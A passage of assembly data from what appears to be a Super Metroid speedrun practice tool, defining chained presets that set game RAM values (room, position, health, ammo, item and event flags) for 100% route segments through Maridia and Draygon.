dw #preset_hundo_mama_turtle_etank_blockbuster ; Mama Turtle E-Tank: Blockbuster
dl $7E078D : db $02 : dw $A330 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $CFC9 ; MDB
dl $7E079F : db $02 : dw $0004 ; Region
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $001B ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $F000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $071F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $037C ; Health
dl $7E09CA : db $02 : dw $0009 ; Supers
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E0A1C : db $02 : dw $0016 ; Samus position/state
dl $7E0A1E : db $02 : dw $0204 ; More position/state
dl $7E0AF6 : db $02 : dw $019A ; Samus X
dl $7E0AFA : db $02 : dw $07A8 ; Samus Y
dl $7ED820 : db $02 : dw $0801 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0064 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_fish_tank:
dw #preset_hundo_mama_turtle_etank_main_street ; Mama Turtle E-Tank: Main Street
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0618 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0330 ; Health
dl $7E09C6 : db $02 : dw $0044 ; Missiles
dl $7E09C8 : db $02 : dw $006E ; Max missiles
dl $7E09CE : db $02 : dw $0010 ; Pbs
dl $7E0A1C : db $02 : dw $0007 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0160 ; Samus X
dl $7E0AFA : db $02 : dw $068B ; Samus Y
dl $7ED880 : db $02 : dw $01FF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_mama_turtle_etank_2:
dw #preset_hundo_mama_turtle_etank_fish_tank ; Mama Turtle E-Tank: Fish Tank
dl $7E078D : db $02 : dw $A3B4 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $D017 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $01FD ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $01E1 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dw #$FFFF
.after
preset_hundo_maridia_cleanup_fish_tank_revisit:
dw #preset_hundo_mama_turtle_etank_mama_turtle_etank_2 ; Mama Turtle E-Tank: Mama Turtle E-Tank
dl $7E078D : db $02 : dw $A3E4 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D055 ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $008E ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0301 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $03E7 ; Health
dl $7E09C4 : db $02 : dw $03E7 ; Max helath
dl $7E09C6 : db $02 : dw $0049 ; Missiles
dl $7E09C8 : db $02 : dw $0073 ; Max missiles
dl $7E09CA : db $02 : dw $0008 ; Supers
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $012E ; Samus X
dl $7E0AFA : db $02 : dw $037B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED880 : db $02 : dw $0DFF ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $4B7C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0066 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_crab_supers:
dw #preset_hundo_maridia_cleanup_fish_tank_revisit ; Maridia Cleanup: Fish Tank Revisit
dl $7E078D : db $02 : dw $A3F0 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $D0B9 ; MDB
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $031F ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0AF6 : db $02 : dw $0180 ; Samus X
dl $7E0AFA : db $02 : dw $03BB ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_mt_everest:
dw #preset_hundo_maridia_cleanup_crab_supers ; Maridia Cleanup: Crab Supers
dl $7E078D : db $02 : dw $A45C ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $CFC9 ; MDB
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1BFD ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $03AB ; Health
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E09CC : db $02 : dw $001E ; Max supers
dl $7E0A1C : db $02 : dw $001E ; Samus position/state
dl $7E0A1E : db $02 : dw $0408 ; More position/state
dl $7E0AF6 : db $02 : dw $02A4 ; Samus X
dl $7E0AFA : db $02 : dw $0299 ; Samus Y
dl $7ED880 : db $02 : dw $0FFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0068 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_beach_missiles:
dw #preset_hundo_maridia_cleanup_mt_everest ; Maridia Cleanup: Mt Everest
dl $7E078D : db $02 : dw $A468 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $D1A3 ; MDB
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $036E ; Health
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0079 ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_maridia_bug_room:
dw #preset_hundo_maridia_cleanup_beach_missiles ; Maridia Cleanup: Beach Missiles
dl $7E078D : db $02 : dw $A4BC ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D1DD ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $1C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00F4 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $035A ; Health
dl $7E09C6 : db $02 : dw $004E ; Missiles
dl $7E09C8 : db $02 : dw $0078 ; Max missiles
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0060 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED880 : db $02 : dw $4FFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0069 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_watering_hole:
dw #preset_hundo_maridia_cleanup_maridia_bug_room ; Maridia Cleanup: Maridia Bug Room
dl $7E078D : db $02 : dw $A4D4 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D16D ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0019 ; Screen Y position in pixels
dl $7E0AF6 : db $02 : dw $005F ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_maridia_bug_room_revisit:
dw #preset_hundo_maridia_cleanup_watering_hole ; Maridia Cleanup: Watering Hole
dl $7E078D : db $02 : dw $A498 ; DDB
dl $7E079B : db $02 : dw $D13B ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $00C5 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $036E ; Health
dl $7E09C6 : db $02 : dw $0052 ; Missiles
dl $7E09C8 : db $02 : dw $007D ; Max missiles
dl $7E09CA : db $02 : dw $0012 ; Supers
dl $7E09CC : db $02 : dw $0023 ; Max supers
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $012C ; Samus X
dl $7ED880 : db $02 : dw $7FFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $006B ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_beach_revisit:
dw #preset_hundo_maridia_cleanup_maridia_bug_room_revisit ; Maridia Cleanup: Maridia Bug Room Revisit
dl $7E078D : db $02 : dw $A48C ; DDB
dl $7E079B : db $02 : dw $D16D ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0355 ; Health
dl $7E0A1C : db $02 : dw $0051 ; Samus position/state
dl $7E0A1E : db $02 : dw $0208 ; More position/state
dl $7E0AF6 : db $02 : dw $03A2 ; Samus X
dl $7E0AFA : db $02 : dw $0183 ; Samus Y
dw #$FFFF
.after
preset_hundo_draygon_aqueduct:
dw #preset_hundo_maridia_cleanup_beach_revisit ; Maridia Cleanup: Beach Revisit
dl $7E078D : db $02 : dw $A4E0 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D1A3 ; MDB
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1BFF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E09D2 : db $02 : dw $0003 ; Currently selected item
dl $7E0A1C : db $02 : dw $0027 ; Samus position/state
dl $7E0A1E : db $02 : dw $0508 ; More position/state
dl $7E0AF6 : db $02 : dw $01B3 ; Samus X
dl $7E0AFA : db $02 : dw $0390 ; Samus Y
dl $7ED8C0 : db $02 : dw $CB7C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $006C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_draygon_botwoon:
dw #preset_hundo_draygon_aqueduct ; Draygon: Aqueduct
dl $7E078D : db $02 : dw $A72C ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $D617 ; MDB
dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers
dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $000D ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E09D2 : db $02 : dw $0000 ; Currently selected item
dl $7E0A1C : db $02 : dw $0051 ; Samus position/state
dl $7E0A1E : db $02 : dw $0208 ; More position/state
dl $7E0AF6 : db $02 : dw $03DA ; Samus X
dl $7E0AFA : db $02 : dw $0085 ; Samus Y
dl $7E0B3F : db $02 : dw $0104 ; Blue suit
dl $7ED91A : db $02 : dw $006E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_draygon_full_halfie:
dw #preset_hundo_draygon_botwoon ; Draygon: Botwoon
dl $7E078D : db $02 : dw $A918 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D7E4 ; MDB
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0006 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $03AF ; Health
dl $7E09C6 : db $02 : dw $0054 ; Missiles
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E0A1C : db $02 : dw $0067 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0AF6 : db $02 : dw $004B ; Samus X
dl $7E0AFA : db $02 : dw $0091 ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED82C : db $02 : dw $0002 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $006F ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_draygon_draygon_missiles:
dw #preset_hundo_draygon_full_halfie ; Draygon: Full Halfie
dl $7E078D : db $02 : dw $A8E8 ; DDB
dl $7E079B : db $02 : dw $D72A ; MDB
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00FD ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0330 ; Health
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $06B0 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED8C2 : db $02 : dw $0400 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_draygon_draygon_2:
dw #preset_hundo_draygon_draygon_missiles ; Draygon: Draygon Missiles
dl $7E078D : db $02 : dw $A7F8 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $D78F ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0059 ; Missiles
dl $7E09C8 : db $02 : dw $0082 ; Max missiles
dl $7E09CA : db $02 : dw $000C ; Supers
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $002F ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED882 : db $02 : dw $0080 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $0C00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0070 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_draygon_draygon_escape:
dw #preset_hundo_draygon_draygon_2 ; Draygon: Draygon
dl $7E078D : db $02 : dw $A978 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D9AA ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $7800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $3325 ; Equipped Items
dl $7E09A4 : db $02 : dw $3325 ; Collected Items
dl $7E09C2 : db $02 : dw $0291 ; Health
dl $7E09C6 : db $02 : dw $0046 ; Missiles
dl $7E09CE : db $02 : dw $0010 ; Pbs
dl $7E0A1C : db $02 : dw $0007 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0A68 : db $02 : dw $0001 ; Flash suit
dl $7E0AF6 : db $02 : dw $00C0 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED82C : db $02 : dw $0003 ; Events, Items, Doors
dl $7ED882 : db $02 : dw $0480 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $8C00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0071 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_aqueduct_revisit_1:
dw #preset_hundo_draygon_draygon_escape ; Draygon: Draygon Escape
dl $7E078D : db $02 : dw $A8DC ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D7E4 ; MDB
dl $7E07F3 : db $02 : dw $001B ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $02B9 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6000 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $3324 ; Equipped Items
dl $7E09A6 : db $02 : dw $1007 ; Beams
dl $7E09C2 : db $02 : dw $044B ; Health
dl $7E09C4 : db $02 : dw $044B ; Max helath
dl $7E0A1C : db $02 : dw $001F ; Samus position/state
dl $7E0A1E : db $02 : dw $0404 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0AF6 : db $02 : dw $032A ; Samus X
dl $7E0AFA : db $02 : dw $0059 ; Samus Y
dl $7ED882 : db $02 : dw $0580 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $CC00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0073 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_right_sandpit:
dw #preset_hundo_maridia_cleanup_2_aqueduct_revisit_1 ; Maridia Cleanup 2: Aqueduct Revisit 1
dl $7E078D : db $02 : dw $A7D4 ; DDB
dl $7E079B : db $02 : dw $D5A7 ; MDB
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0446 ; Health
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $05B6 ; Samus X
dl $7E0AFA : db $02 : dw $02CB ; Samus Y
dl $7ED91A : db $02 : dw $0075 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_puyo_ice_clip_springball:
dw #preset_hundo_maridia_cleanup_2_right_sandpit ; Maridia Cleanup 2: Right Sandpit
dl $7E078D : db $02 : dw $A690 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D646 ; MDB
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $042D ; Health
dl $7E09C6 : db $02 : dw $004B ; Missiles
dl $7E09C8 : db $02 : dw $0087 ; Max missiles
dl $7E09CE : db $02 : dw $0015 ; Pbs
dl $7E09D0 : db $02 : dw $001E ; Max pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00C5 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED882 : db $02 : dw $058C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0077 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_shaktool:
dw #preset_hundo_maridia_cleanup_2_puyo_ice_clip_springball ; Maridia Cleanup 2: Puyo Ice Clip (Springball)
dl $7E078D : db $02 : dw $A78C ; DDB
dl $7E079B : db $02 : dw $D69A ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $6800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $011C ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $041E ; Health
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00D0 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_shaktool_revisit:
dw #preset_hundo_maridia_cleanup_2_shaktool ; Maridia Cleanup 2: Shaktool
dl $7E078D : db $02 : dw $A8D0 ; DDB
dl $7E079B : db $02 : dw $D6D0 ; MDB
dl $7E090F : db $02 : dw $C001 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $83FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0005 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $3326 ; Equipped Items
dl $7E09A4 : db $02 : dw $3327 ; Collected Items
dl $7E09C2 : db $02 : dw $036A ; Health
dl $7E09CE : db $02 : dw $0014 ; Pbs
dl $7E0A1C : db $02 : dw $0028 ; Samus position/state
dl $7E0A1E : db $02 : dw $0504 ; More position/state
dl $7E0AF6 : db $02 : dw $0072 ; Samus X
dl $7E0AFA : db $02 : dw $0090 ; Samus Y
dl $7ED820 : db $02 : dw $2801 ; Events, Items, Doors
dl $7ED882 : db $02 : dw $05CC ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0078 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_east_sand_hall:
dw #preset_hundo_maridia_cleanup_2_shaktool_revisit ; Maridia Cleanup 2: Shaktool Revisit
dl $7E078D : db $02 : dw $A7B0 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D646 ; MDB
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $035B ; Health
dl $7E09C6 : db $02 : dw $004A ; Missiles
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $003D ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_kassiuz_room:
dw #preset_hundo_maridia_cleanup_2_east_sand_hall ; Maridia Cleanup 2: East Sand Hall
dl $7E078D : db $02 : dw $A60C ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D340 ; MDB
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $011D ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0048 ; Missiles
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0284 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED8C2 : db $02 : dw $CC28 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_plasma:
dw #preset_hundo_maridia_cleanup_2_kassiuz_room ; Maridia Cleanup 2: Kassiuz Room
dl $7E078D : db $02 : dw $A5DC ; DDB
dl $7E079B : db $02 : dw $D27E ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $034C ; Health
dl $7E09C6 : db $02 : dw $0046 ; Missiles
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00AA ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_kassiuz_room_revisit:
dw #preset_hundo_maridia_cleanup_2_plasma ; Maridia Cleanup 2: Plasma
dl $7E078D : db $02 : dw $A54C ; DDB
dl $7E079B : db $02 : dw $D2AA ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $100B ; Beams
dl $7E09A8 : db $02 : dw $100F ; Beams
dl $7E09C2 : db $02 : dw $0324 ; Health
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0040 ; Samus X
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED880 : db $02 : dw $FFFF ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $CC2A ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0079 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_plasma_spark_room_down:
dw #preset_hundo_maridia_cleanup_2_kassiuz_room_revisit ; Maridia Cleanup 2: Kassiuz Room Revisit
dl $7E078D : db $02 : dw $A540 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D387 ; MDB
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0915 : db $02 : dw $0319 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0310 ; Health
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0035 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_cac_alley:
dw #preset_hundo_maridia_cleanup_2_plasma_spark_room_down ; Maridia Cleanup 2: Plasma Spark Room Down
dl $7E078D : db $02 : dw $A5D0 ; DDB
dl $7E079B : db $02 : dw $D340 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0125 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0500 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0067 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0AF6 : db $02 : dw $01BB ; Samus X
dl $7E0AFA : db $02 : dw $05B7 ; Samus Y
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_aqueduct_revisit_2:
dw #preset_hundo_maridia_cleanup_2_cac_alley ; Maridia Cleanup 2: Cac Alley
dl $7E078D : db $02 : dw $A960 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D913 ; MDB
dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers
dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0301 ; Health
dl $7E09C6 : db $02 : dw $0044 ; Missiles
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E0A1C : db $02 : dw $00A5 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $00A5 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED8C2 : db $02 : dw $CCAA ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_maridia_cleanup_2_left_sandpit:
dw #preset_hundo_maridia_cleanup_2_aqueduct_revisit_2 ; Maridia Cleanup 2: Aqueduct Revisit 2
